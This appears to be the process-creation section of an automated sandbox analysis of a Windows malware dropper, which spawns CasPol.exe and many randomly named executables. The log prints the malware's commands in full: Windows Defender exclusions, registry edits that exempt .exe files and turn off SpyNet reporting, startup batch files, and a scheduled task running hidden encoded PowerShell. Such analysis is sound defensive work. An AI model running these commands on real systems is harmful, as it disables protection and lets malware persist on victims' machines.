            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exe "C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exe"
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exe "C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exe" --silent --allusers=0
            Source: C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exeProcess created: C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exe C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exe --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=105.0.4970.16 --initial-client-data=0x2f4,0x2f8,0x2fc,0x2d0,0x300,0x6cf674f0,0x6cf67500,0x6cf6750c
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Users\user\Pictures\3igcf6uAz0sWTHiwyuTtf5S5.exe "C:\Users\user\Pictures\3igcf6uAz0sWTHiwyuTtf5S5.exe"
            Source: unknownProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            Source: C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exeProcess created: C:\Users\user\AppData\Local\Temp\.opera\Opera Installer Temp\r1O81gOTKkD0PfSdUigHGcl2.exe "C:\Users\user\AppData\Local\Temp\.opera\Opera Installer Temp\r1O81gOTKkD0PfSdUigHGcl2.exe" --version
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Users\user\Pictures\8AbV0HUy7VtZhy8wnNLXmsko.exe "C:\Users\user\Pictures\8AbV0HUy7VtZhy8wnNLXmsko.exe"
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exe "C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exe"
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Users\user\Pictures\AdivwWrpQRED15lxH0DgRVgj.exe "C:\Users\user\Pictures\AdivwWrpQRED15lxH0DgRVgj.exe"
            Source: C:\Users\user\Pictures\AdivwWrpQRED15lxH0DgRVgj.exeProcess created: C:\Users\user\AppData\Local\Temp\7zSCD80.tmp\Install.exe .\Install.exe
            Source: C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exeProcess created: C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exe "C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --installfolder="C:\Users\user\AppData\Local\Programs\Opera" --profile-folder --language=en-GB --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=2284 --package-dir-prefix="C:\Users\user\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20231121151234" --session-guid=0bda333d-4994-4b67-9b59-0f927372c94a --server-tracking-blob=ZDUxMWEyYzQyYmU3YjNmMDI3NzRlNWM2YTg1YzY1MzdlNGQ4ZGExMzhjNzg4MGQyMThiMzI4OGVlZWIyNTVmNDp7ImNvdW50cnkiOiJVUyIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1ta3QmdXRtX2NhbXBhaWduPTc2NyIsInN5c3RlbSI6eyJwbGF0Zm9ybSI6eyJhcmNoIjoieDg2XzY0Iiwib3BzeXMiOiJXaW5kb3dzIiwib3BzeXMtdmVyc2lvbiI6IjEwIiwicGFja2FnZSI6IkVYRSJ9fSwidGltZXN0YW1wIjoiMTcwMDU3NTk0OS4yNzIzIiwidXRtIjp7ImNhbXBhaWduIjoiNzY3IiwibWVkaXVtIjoiYXBiIiwic291cmNlIjoibWt0In0sInV1aWQiOiI5ZjZlMmVjMS0wNzBjLTRmYWEtODc4OS01ZWEyMjQ2NDhkMTUifQ== --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=7005000000000000
            Source: C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exeProcess created: C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exe C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exe --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=105.0.4970.16 --initial-client-data=0x2e4,0x2e8,0x2ec,0x2c0,0x2f0,0x6c4774f0,0x6c477500,0x6c47750c
            Source: C:\Users\user\AppData\Local\Temp\7zSCD80.tmp\Install.exeProcess created: C:\Users\user\AppData\Local\Temp\7zSD456.tmp\Install.exe .\Install.exe /eeGFndidj "385121" /S
            Source: unknownProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\4aBHXrK8XjSbEjiL1WIQ7Kmf.bat" "
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Users\user\Pictures\QsTe5POhA2TpmBwMLub9ymVB.exe "C:\Users\user\Pictures\QsTe5POhA2TpmBwMLub9ymVB.exe"
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\6V2xKGSdzZOG2l67fqdIp9iJ.exe "C:\Users\user\AppData\Local\6V2xKGSdzZOG2l67fqdIp9iJ.exe"
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Users\user\Pictures\OPqTdTFbxWlK6znimRD995XD.exe "C:\Users\user\Pictures\OPqTdTFbxWlK6znimRD995XD.exe" --silent --allusers=0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Users\user\Pictures\TNpJBjREJ9Gyf03FTGsVwgMm.exe "C:\Users\user\Pictures\TNpJBjREJ9Gyf03FTGsVwgMm.exe"
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Users\user\Pictures\6Y6HZLXw0Y38mRwaQb51f9Xr.exe "C:\Users\user\Pictures\6Y6HZLXw0Y38mRwaQb51f9Xr.exe"
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Users\user\Pictures\jmqKcbM6AONnRhvOZmBZdvm3.exe "C:\Users\user\Pictures\jmqKcbM6AONnRhvOZmBZdvm3.exe"
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Users\user\Pictures\5zZpiaRyAwCkDYAcy3rJRYSk.exe "C:\Users\user\Pictures\5zZpiaRyAwCkDYAcy3rJRYSk.exe"
            Source: C:\Users\user\AppData\Local\Temp\7zSD456.tmp\Install.exeProcess created: C:\Windows\SysWOW64\forfiles.exe C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&
            Source: C:\Windows\SysWOW64\forfiles.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\AppData\Local\Temp\7zSD456.tmp\Install.exeProcess created: C:\Windows\SysWOW64\forfiles.exe C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&
            Source: C:\Windows\SysWOW64\forfiles.exeProcess created: C:\Windows\SysWOW64\cmd.exe /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Users\user\Pictures\HLT0AIxjEwuNSfgdyWiT3ueK.exe "C:\Users\user\Pictures\HLT0AIxjEwuNSfgdyWiT3ueK.exe"
            Source: C:\Users\user\Pictures\jmqKcbM6AONnRhvOZmBZdvm3.exeProcess created: C:\Users\user\AppData\Local\Temp\7zSD77.tmp\Install.exe .\Install.exe
            Source: C:\Windows\SysWOW64\forfiles.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Users\user\Pictures\LnQdFAFVk46H7elzEZZ3Xdvx.exe "C:\Users\user\Pictures\LnQdFAFVk46H7elzEZZ3Xdvx.exe" --silent --allusers=0
            Source: C:\Users\user\Pictures\OPqTdTFbxWlK6znimRD995XD.exeProcess created: C:\Users\user\Pictures\OPqTdTFbxWlK6znimRD995XD.exe C:\Users\user\Pictures\OPqTdTFbxWlK6znimRD995XD.exe --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=105.0.4970.16 --initial-client-data=0x2e4,0x2e8,0x2ec,0x2c0,0x2f0,0x6b3d74f0,0x6b3d7500,0x6b3d750c
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Users\user\Pictures\loKi89nha4JKgsufhuKQ22oF.exe "C:\Users\user\Pictures\loKi89nha4JKgsufhuKQ22oF.exe"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Users\user\Pictures\BRaFXbmvcphOkoXIZ6VZLdvL.exe "C:\Users\user\Pictures\BRaFXbmvcphOkoXIZ6VZLdvL.exe"
            Source: unknownProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AS0hnlpl66MtE0KLhjjOLNaC.bat" "
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\SysWOW64\forfiles.exeProcess created: C:\Windows\SysWOW64\cmd.exe /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
            Source: C:\Users\user\AppData\Local\Temp\7zSD456.tmp\Install.exeProcess created: C:\Windows\SysWOW64\schtasks.exe schtasks /CREATE /TN "gXUhwMAMn" /SC once /ST 08:40:27 /F /RU "user" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
            Source: C:\Windows\SysWOW64\schtasks.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Users\user\Pictures\yYAwgDWrkYJyyOGvYzyiJrxu.exe "C:\Users\user\Pictures\yYAwgDWrkYJyyOGvYzyiJrxu.exe"
            Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\file.exe" -ForceJump to behavior
            Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exe "C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exe" Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exe "C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exe" --silent --allusers=0Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Users\user\Pictures\3igcf6uAz0sWTHiwyuTtf5S5.exe "C:\Users\user\Pictures\3igcf6uAz0sWTHiwyuTtf5S5.exe" Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Users\user\Pictures\8AbV0HUy7VtZhy8wnNLXmsko.exe "C:\Users\user\Pictures\8AbV0HUy7VtZhy8wnNLXmsko.exe" Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exe "C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exe" Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Users\user\Pictures\AdivwWrpQRED15lxH0DgRVgj.exe "C:\Users\user\Pictures\AdivwWrpQRED15lxH0DgRVgj.exe" Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Users\user\Pictures\QsTe5POhA2TpmBwMLub9ymVB.exe "C:\Users\user\Pictures\QsTe5POhA2TpmBwMLub9ymVB.exe" Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Users\user\Pictures\OPqTdTFbxWlK6znimRD995XD.exe "C:\Users\user\Pictures\OPqTdTFbxWlK6znimRD995XD.exe" --silent --allusers=0Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Users\user\Pictures\TNpJBjREJ9Gyf03FTGsVwgMm.exe "C:\Users\user\Pictures\TNpJBjREJ9Gyf03FTGsVwgMm.exe" Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Users\user\Pictures\6Y6HZLXw0Y38mRwaQb51f9Xr.exe "C:\Users\user\Pictures\6Y6HZLXw0Y38mRwaQb51f9Xr.exe" Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Users\user\Pictures\jmqKcbM6AONnRhvOZmBZdvm3.exe "C:\Users\user\Pictures\jmqKcbM6AONnRhvOZmBZdvm3.exe" Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Users\user\Pictures\5zZpiaRyAwCkDYAcy3rJRYSk.exe "C:\Users\user\Pictures\5zZpiaRyAwCkDYAcy3rJRYSk.exe" Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Users\user\Pictures\HLT0AIxjEwuNSfgdyWiT3ueK.exe "C:\Users\user\Pictures\HLT0AIxjEwuNSfgdyWiT3ueK.exe" Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Users\user\Pictures\LnQdFAFVk46H7elzEZZ3Xdvx.exe "C:\Users\user\Pictures\LnQdFAFVk46H7elzEZZ3Xdvx.exe" --silent --allusers=0Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Users\user\Pictures\loKi89nha4JKgsufhuKQ22oF.exe "C:\Users\user\Pictures\loKi89nha4JKgsufhuKQ22oF.exe" Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Users\user\Pictures\BRaFXbmvcphOkoXIZ6VZLdvL.exe "C:\Users\user\Pictures\BRaFXbmvcphOkoXIZ6VZLdvL.exe" Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Users\user\Pictures\yYAwgDWrkYJyyOGvYzyiJrxu.exe "C:\Users\user\Pictures\yYAwgDWrkYJyyOGvYzyiJrxu.exe" Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\4aBHXrK8XjSbEjiL1WIQ7Kmf.bat" "Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Windows\SysWOW64\forfiles.exe C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exeProcess created: C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exe C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exe --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=105.0.4970.16 --initial-client-data=0x2f4,0x2f8,0x2fc,0x2d0,0x300,0x6cf674f0,0x6cf67500,0x6cf6750c
            Source: C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exeProcess created: C:\Users\user\AppData\Local\Temp\.opera\Opera Installer Temp\r1O81gOTKkD0PfSdUigHGcl2.exe "C:\Users\user\AppData\Local\Temp\.opera\Opera Installer Temp\r1O81gOTKkD0PfSdUigHGcl2.exe" --version
            Source: C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exeProcess created: C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exe "C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --installfolder="C:\Users\user\AppData\Local\Programs\Opera" --profile-folder --language=en-GB --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=2284 --package-dir-prefix="C:\Users\user\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20231121151234" --session-guid=0bda333d-4994-4b67-9b59-0f927372c94a --server-tracking-blob=ZDUxMWEyYzQyYmU3YjNmMDI3NzRlNWM2YTg1YzY1MzdlNGQ4ZGExMzhjNzg4MGQyMThiMzI4OGVlZWIyNTVmNDp7ImNvdW50cnkiOiJVUyIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1ta3QmdXRtX2NhbXBhaWduPTc2NyIsInN5c3RlbSI6eyJwbGF0Zm9ybSI6eyJhcmNoIjoieDg2XzY0Iiwib3BzeXMiOiJXaW5kb3dzIiwib3BzeXMtdmVyc2lvbiI6IjEwIiwicGFja2FnZSI6IkVYRSJ9fSwidGltZXN0YW1wIjoiMTcwMDU3NTk0OS4yNzIzIiwidXRtIjp7ImNhbXBhaWduIjoiNzY3IiwibWVkaXVtIjoiYXBiIiwic291cmNlIjoibWt0In0sInV1aWQiOiI5ZjZlMmVjMS0wNzBjLTRmYWEtODc4OS01ZWEyMjQ2NDhkMTUifQ== --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=7005000000000000
            Source: C:\Users\user\Pictures\3igcf6uAz0sWTHiwyuTtf5S5.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            Source: C:\Users\user\Pictures\3igcf6uAz0sWTHiwyuTtf5S5.exeProcess created: unknown unknown
            Source: C:\Users\user\Pictures\3igcf6uAz0sWTHiwyuTtf5S5.exeProcess created: unknown unknown
            Source: C:\Users\user\Pictures\3igcf6uAz0sWTHiwyuTtf5S5.exeProcess created: unknown unknown
            Source: C:\Users\user\Pictures\3igcf6uAz0sWTHiwyuTtf5S5.exeProcess created: unknown unknown
            Source: C:\Users\user\Pictures\3igcf6uAz0sWTHiwyuTtf5S5.exeProcess created: unknown unknown
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeProcess created: unknown unknown
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeProcess created: unknown unknown
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeProcess created: unknown unknown
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeProcess created: unknown unknown
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeProcess created: unknown unknown
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeProcess created: unknown unknown
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeProcess created: unknown unknown
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeProcess created: unknown unknown
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeProcess created: unknown unknown
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeProcess created: unknown unknown
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeProcess created: unknown unknown
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeProcess created: unknown unknown
